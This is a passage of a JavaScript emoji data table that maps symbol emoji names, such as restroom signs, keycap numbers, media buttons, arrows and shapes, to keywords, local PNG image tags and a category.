    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udebe" src="1f6be.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  parking: {
    keywords: [ "cars", "blue-square", "alphabet", "letter" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd7f\ufe0f" src="1f17f.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  potable_water: {
    keywords: [ "blue-square", "liquid", "restroom", "cleaning", "faucet" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb0" src="1f6b0.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  mens: {
    keywords: [ "toilet", "restroom", "wc", "blue-square", "gender", "male" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb9" src="1f6b9.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  womens: {
    keywords: [ "purple-square", "woman", "female", "toilet", "loo", "restroom", "gender" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeba" src="1f6ba.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  baby_symbol: {
    keywords: [ "orange-square", "child" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udebc" src="1f6bc.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  restroom: {
    keywords: [ "blue-square", "toilet", "refresh", "wc", "gender" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udebb" src="1f6bb.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  put_litter_in_its_place: {
    keywords: [ "blue-square", "sign", "human", "info" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeae" src="1f6ae.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  cinema: {
    keywords: [ "blue-square", "record", "film", "movie", "curtain", "stage", "theater" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa6" src="1f3a6.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  signal_strength: {
    keywords: [ "blue-square", "reception", "phone", "internet", "connection", "wifi", "bluetooth", "bars" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf6" src="1f4f6.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  koko: {
    keywords: [ "blue-square", "here", "katakana", "japanese", "destination" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude01" src="1f201.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  ng: {
    keywords: [ "blue-square", "words", "shape", "icon" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd96" src="1f196.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  ok: {
    keywords: [ "good", "agree", "yes", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd97" src="1f197.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  up: {
    keywords: [ "blue-square", "above", "high" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd99" src="1f199.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  cool: {
    keywords: [ "words", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd92" src="1f192.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  new: {
    keywords: [ "blue-square", "words", "start" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd95" src="1f195.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  free: {
    keywords: [ "blue-square", "words" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd93" src="1f193.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  zero: {
    keywords: [ "0", "numbers", "blue-square", "null" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="0\ufe0f\u20e3" src="30-20e3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  one: {
    keywords: [ "blue-square", "numbers", "1" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="1\ufe0f\u20e3" src="31-20e3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  two: {
    keywords: [ "numbers", "2", "prime", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="2\ufe0f\u20e3" src="32-20e3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  three: {
    keywords: [ "3", "numbers", "prime", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="3\ufe0f\u20e3" src="33-20e3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  four: {
    keywords: [ "4", "numbers", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="4\ufe0f\u20e3" src="34-20e3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  five: {
    keywords: [ "5", "numbers", "blue-square", "prime" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="5\ufe0f\u20e3" src="35-20e3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  six: {
    keywords: [ "6", "numbers", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="6\ufe0f\u20e3" src="36-20e3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  seven: {
    keywords: [ "7", "numbers", "blue-square", "prime" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="7\ufe0f\u20e3" src="37-20e3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  eight: {
    keywords: [ "8", "blue-square", "numbers" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="8\ufe0f\u20e3" src="38-20e3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  nine: {
    keywords: [ "blue-square", "numbers", "9" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="9\ufe0f\u20e3" src="39-20e3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  keycap_ten: {
    keywords: [ "numbers", "10", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd1f" src="1f51f.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  asterisk: {
    keywords: [ "star", "keycap" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="*\u20e3" src="2a-20e3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  eject_button: {
    keywords: [ "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23cf\ufe0f" src="23cf.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_forward: {
    keywords: [ "blue-square", "right", "direction", "play" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25b6\ufe0f" src="25b6.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  pause_button: {
    keywords: [ "pause", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23f8" src="23f8.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  next_track_button: {
    keywords: [ "forward", "next", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23ed" src="23ed.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  stop_button: {
    keywords: [ "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23f9" src="23f9.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  record_button: {
    keywords: [ "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23fa" src="23fa.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  play_or_pause_button: {
    keywords: [ "blue-square", "play", "pause" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23ef" src="23ef.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  previous_track_button: {
    keywords: [ "backward" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23ee" src="23ee.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  fast_forward: {
    keywords: [ "blue-square", "play", "speed", "continue" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23e9" src="23e9.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  rewind: {
    keywords: [ "play", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23ea" src="23ea.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  twisted_rightwards_arrows: {
    keywords: [ "blue-square", "shuffle", "music", "random" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd00" src="1f500.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  repeat: {
    keywords: [ "loop", "record" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd01" src="1f501.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  repeat_one: {
    keywords: [ "blue-square", "loop" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd02" src="1f502.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_backward: {
    keywords: [ "blue-square", "left", "direction" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25c0\ufe0f" src="25c0.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_up_small: {
    keywords: [ "blue-square", "triangle", "direction", "point", "forward", "top" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd3c" src="1f53c.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_down_small: {
    keywords: [ "blue-square", "direction", "bottom" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd3d" src="1f53d.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_double_up: {
    keywords: [ "blue-square", "direction", "top" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23eb" src="23eb.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_double_down: {
    keywords: [ "blue-square", "direction", "bottom" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23ec" src="23ec.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_right: {
    keywords: [ "blue-square", "next" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u27a1\ufe0f" src="27a1.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_left: {
    keywords: [ "blue-square", "previous", "back" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2b05\ufe0f" src="2b05.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_up: {
    keywords: [ "blue-square", "continue", "top", "direction" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2b06\ufe0f" src="2b06.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_down: {
    keywords: [ "blue-square", "direction", "bottom" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2b07\ufe0f" src="2b07.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_upper_right: {
    keywords: [ "blue-square", "point", "direction", "diagonal", "northeast" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2197\ufe0f" src="2197.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_lower_right: {
    keywords: [ "blue-square", "direction", "diagonal", "southeast" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2198\ufe0f" src="2198.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_lower_left: {
    keywords: [ "blue-square", "direction", "diagonal", "southwest" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2199\ufe0f" src="2199.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_upper_left: {
    keywords: [ "blue-square", "point", "direction", "diagonal", "northwest" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2196\ufe0f" src="2196.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_up_down: {
    keywords: [ "blue-square", "direction", "way", "vertical" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2195\ufe0f" src="2195.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  left_right_arrow: {
    keywords: [ "shape", "direction", "horizontal", "sideways" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2194\ufe0f" src="2194.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrows_counterclockwise: {
    keywords: [ "blue-square", "sync", "cycle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd04" src="1f504.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_right_hook: {
    keywords: [ "blue-square", "return", "rotate", "direction" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u21aa\ufe0f" src="21aa.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  leftwards_arrow_with_hook: {
    keywords: [ "back", "return", "blue-square", "undo", "enter" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u21a9\ufe0f" src="21a9.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_heading_up: {
    keywords: [ "blue-square", "direction", "top" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2934\ufe0f" src="2934.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrow_heading_down: {
    keywords: [ "blue-square", "direction", "bottom" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2935\ufe0f" src="2935.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  hash: {
    keywords: [ "symbol", "blue-square", "twitter" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="#\ufe0f\u20e3" src="23-20e3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  information_source: {
    keywords: [ "blue-square", "alphabet", "letter" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2139\ufe0f" src="2139.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  abc: {
    keywords: [ "blue-square", "alphabet" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd24" src="1f524.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  abcd: {
    keywords: [ "blue-square", "alphabet" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd21" src="1f521.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  capital_abcd: {
    keywords: [ "alphabet", "words", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd20" src="1f520.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  symbols: {
    keywords: [ "blue-square", "music", "note", "ampersand", "percent", "glyphs", "characters" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd23" src="1f523.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  musical_note: {
    keywords: [ "score", "tone", "sound" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb5" src="1f3b5.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  notes: {
    keywords: [ "music", "score" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb6" src="1f3b6.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  wavy_dash: {
    keywords: [ "draw", "line", "moustache", "mustache", "squiggle", "scribble" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u3030\ufe0f" src="3030.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  curly_loop: {
    keywords: [ "scribble", "draw", "shape", "squiggle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u27b0" src="27b0.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heavy_check_mark: {
    keywords: [ "ok", "nike", "answer", "yes", "tick" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2714\ufe0f" src="2714.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  arrows_clockwise: {
    keywords: [ "sync", "cycle", "round", "repeat" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd03" src="1f503.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heavy_plus_sign: {
    keywords: [ "math", "calculation", "addition", "more", "increase" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2795" src="2795.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heavy_minus_sign: {
    keywords: [ "math", "calculation", "subtract", "less" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2796" src="2796.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heavy_division_sign: {
    keywords: [ "divide", "math", "calculation" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2797" src="2797.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heavy_multiplication_x: {
    keywords: [ "math", "calculation" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2716\ufe0f" src="2716.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  infinity: {
    keywords: [ "forever" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u267e" src="267e.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heavy_dollar_sign: {
    keywords: [ "money", "sales", "payment", "currency", "buck" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb2" src="1f4b2.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  currency_exchange: {
    keywords: [ "money", "sales", "dollar", "travel" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb1" src="1f4b1.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  copyright: {
    keywords: [ "ip", "license", "circle", "law", "legal" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\xa9\ufe0f" src="a9.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  registered: {
    keywords: [ "alphabet", "circle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\xae\ufe0f" src="ae.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  tm: {
    keywords: [ "trademark", "brand", "law", "legal" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2122\ufe0f" src="2122.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  end: {
    keywords: [ "words", "arrow" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd1a" src="1f51a.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  back: {
    keywords: [ "arrow", "words", "return" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd19" src="1f519.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  on: {
    keywords: [ "arrow", "words" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd1b" src="1f51b.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  top: {
    keywords: [ "words", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd1d" src="1f51d.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  soon: {
    keywords: [ "arrow", "words" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd1c" src="1f51c.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  ballot_box_with_check: {
    keywords: [ "ok", "agree", "confirm", "black-square", "vote", "election", "yes", "tick" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2611\ufe0f" src="2611.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  radio_button: {
    keywords: [ "input", "old", "music", "circle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd18" src="1f518.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_circle: {
    keywords: [ "shape", "round" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26aa" src="26aa.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_circle: {
    keywords: [ "shape", "button", "round" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26ab" src="26ab.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  red_circle: {
    keywords: [ "shape", "error", "danger" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd34" src="1f534.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  large_blue_circle: {
    keywords: [ "shape", "icon", "button" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd35" src="1f535.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  small_orange_diamond: {
    keywords: [ "shape", "jewel", "gem" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd38" src="1f538.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  small_blue_diamond: {
    keywords: [ "shape", "jewel", "gem" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd39" src="1f539.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  large_orange_diamond: {
    keywords: [ "shape", "jewel", "gem" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd36" src="1f536.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  large_blue_diamond: {
    keywords: [ "shape", "jewel", "gem" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd37" src="1f537.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  small_red_triangle: {
    keywords: [ "shape", "direction", "up", "top" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd3a" src="1f53a.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_small_square: {
    keywords: [ "shape", "icon" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25aa\ufe0f" src="25aa.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_small_square: {
    keywords: [ "shape", "icon" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25ab\ufe0f" src="25ab.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_large_square: {
    keywords: [ "shape", "icon", "button" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2b1b" src="2b1b.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_large_square: {
    keywords: [ "shape", "icon", "stone", "button" ],
